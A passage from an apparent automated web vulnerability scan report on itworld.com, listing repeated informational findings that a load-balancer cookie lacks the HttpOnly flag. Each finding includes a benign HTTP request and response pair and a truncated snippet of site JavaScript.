//
var elqERoot = 'now.eloqua.com/';
var elqSecERoot =
...[SNIP]...

7.28. http://www.itworld.com/elqNow/elqFCS.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqFCS.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /elqNow/elqFCS.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "801a-5aa-4a8869273f6c0"
Content-Type: application/x-javascript
Content-Length: 1450
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:41 GMT
X-Varnish: 1959715972 1959715865
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// Copyright Eloqua Corporation.
if (elqTryI){ document.write('<ifr' + 'ame name="elqFCSFra" style="visibility:none" src="/elqNow/elqBlank.htm" width=1 height=1 frameborder=0 border=0 NORESIZE SCROLL
...[SNIP]...

7.29. http://www.itworld.com/elqNow/elqImg.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqImg.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /elqNow/elqImg.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "801f-37e-4a8869273f6c0"
Content-Type: application/x-javascript
Content-Length: 894
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:41 GMT
X-Varnish: 1959715973 1959715846
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// Copyright Eloqua Corporation.
var elqWDt = new Date(20020101);
var elqDt = new Date();
var elqMs = elqDt.getMilliseconds();
var elqTzo = elqWDt.getTimezoneOffset();
var elqRef2 = '';
if (type
...[SNIP]...

7.30. http://www.itworld.com/elqNow/elqOPG.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqOPG.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /elqNow/elqOPG.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "8022-76c-4a8869273f6c0"
Content-Type: application/x-javascript
Content-Length: 1900
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:41 GMT
X-Varnish: 1959715983 1959715866
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

OPG = window.OPG || {};
OPG.Eloqua = OPG.Eloqua || {};
OPG.Eloqua = function () {
   return {
       eloqua_date: function() {
           var today=new Date();
           var dd=today.getDate();
           var mm=today.getMonth()+1
...[SNIP]...

7.31. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.32. http://www.itworld.com/kickapps/isfollowing-comments/204223 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /kickapps/isfollowing-comments/204223 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dblog%253A204223%253ACyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%253A2011-09-16%7C1316480024395%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:23 +0000
Vary: Cookie
ETag: "1316460443"
Content-Type: text/html; charset=utf-8
Content-Length: 21
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:27:26 GMT
X-Varnish: 1038163980
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

{"isfollowing":false}

7.33. http://www.itworld.com/misc/collapse.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/collapse.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /misc/collapse.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:37 GMT
ETag: "377208-a6d-497f498ba4040"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 2669
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:48 GMT
X-Varnish: 1959720216 1959719354
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 5
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: collapse.js,v 1.17 2008/01/29 10:58:25 goba Exp $

/**
* Toggle the visibility of a fieldset using smooth animations
*/
Drupal.toggleFieldset = function(fieldset) {
if ($(fieldset).is('.co
...[SNIP]...

7.34. http://www.itworld.com/misc/drupal.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/drupal.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /misc/drupal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:37 GMT
ETag: "37720a-251d-497f498ba4040"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 9501
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:35 GMT
X-Varnish: 1959717720 1959715713
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 12
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: drupal.js,v 1.41.2.4 2009/07/21 08:59:10 goba Exp $

var Drupal = Drupal || { 'settings': {}, 'behaviors': {}, 'themes': {}, 'locale': {} };

/**
* Set the variable that indicates if JavaScri
...[SNIP]...

7.35. http://www.itworld.com/misc/textarea.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/textarea.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /misc/textarea.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:37 GMT
ETag: "37722d-529-497f498ba4040"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1321
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:42 GMT
X-Varnish: 1959720076 1959719329
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 5
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: textarea.js,v 1.22 2008/01/17 19:31:56 goba Exp $

Drupal.behaviors.textarea = function(context) {
$('textarea.resizable:not(.textarea-processed)', context).each(function() {
// Avoid no
...[SNIP]...

7.36. http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/InsertNode/back_from_comment.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/InsertNode/back_from_comment.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 14 Jan 2011 23:52:30 GMT
ETag: "38705b-30a-499d7208d6b80"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 778
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:54 GMT
X-Varnish: 1959718357 1959715723
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 16
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/* Code first created by Zewa,
* fixed up by AlexisWilke so it works with any type of page
*/
/**
* Reply, Edit & Delete buttons for included comments.
*
* Store where the user was when clicking add
...[SNIP]...

7.37. http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll/ajax_poll.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/ajax_poll/ajax_poll.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 08 Jun 2011 21:25:48 GMT
ETag: "10142-c13-4a539fae6ef00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 3091
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:42 GMT
X-Varnish: 1959717914 1959715711
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 12
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: ajax_poll.js,v 1.1.2.2 2011/01/28 01:32:40 quicksketch Exp $
(function ($) {

/**
* @file
* Provides AJAX-voting capabilities to the normal Poll voting form.
*/

/**
* Behavior to add AJAX
...[SNIP]...

7.38. http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Jun 2011 21:13:17 GMT
ETag: "17ff4-96b-4a6536fead540"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 2411
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:48 GMT
X-Varnish: 1959718062 1959715720
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 14
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: ajax_poll_results.js,v 1.1.2.2 2011/01/28 01:32:40 abide Exp $
(function ($) {

/**
* @file
* Provides AJAX-results-viewing capabilities to the normal Poll voting form.
*/

/**
* Behavior
...[SNIP]...

7.39. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:30 GMT
ETag: "3874cf-5d8d-497f4984f7080"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 23949
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:23 GMT
X-Varnish: 1959719819 1959719325
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery clueTip plugin
* Version 1.0.7 (January 28, 2010)
* @requires jQuery v1.3+
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
*
...[SNIP]...

7.40. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:30 GMT
ETag: "3874d1-128b-497f4984f7080"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 4747
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:18 GMT
X-Varnish: 1959719545 1959719344
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.../**
* hoverIntent is similar to jQuery's built-in "hover" function except that
* instead of firing the onMouseOver event immediately, hoverIntent checks
* to see if the user's mouse has slowed down
...[SNIP]...

7.41. http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/ajax-responder.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/ctools/js/ajax-responder.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:32 GMT
ETag: "387755-4226-497f4986df500"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 16934
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:26 GMT
X-Varnish: 1959719914 1959719363
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: ajax-responder.js,v 1.18.2.24 2010/08/27 22:09:48 merlinofchaos Exp $
/**
* @file
*
* CTools flexible AJAX responder object.
*/

(function ($) {
Drupal.CTools = Drupal.CTools || {};
Dr
...[SNIP]...

7.42. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:32 GMT
ETag: "38775b-3ebe-497f4986df500"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 16062
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:27:00 GMT
X-Varnish: 1038163207 1038158548
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 27
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: modal.js,v 1.17.2.20 2010/10/20 19:22:08 merlinofchaos Exp $
/**
* @file
*
* Implement a modal form.
*
* @see modal.inc for documentation.
*
* This javascript relies on the CTools ajax
...[SNIP]...

7.43. http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/dialog/dialog.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/dialog/dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 14 Mar 2011 21:06:45 GMT
ETag: "415ff0-1fe2-49e77b06be340"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 8162
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:38 GMT
X-Varnish: 1959720003 1959719378
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: dialog.js,v 1.1.2.4 2010/08/13 19:40:06 rz Exp $
/**
* @file
*
* Display ajax content in a Dialog window.
*
* This javascript relies on the CTools ajax responder and jQueryUI Dialog.
*/

...[SNIP]...

7.44. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/fbconnect/fbconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

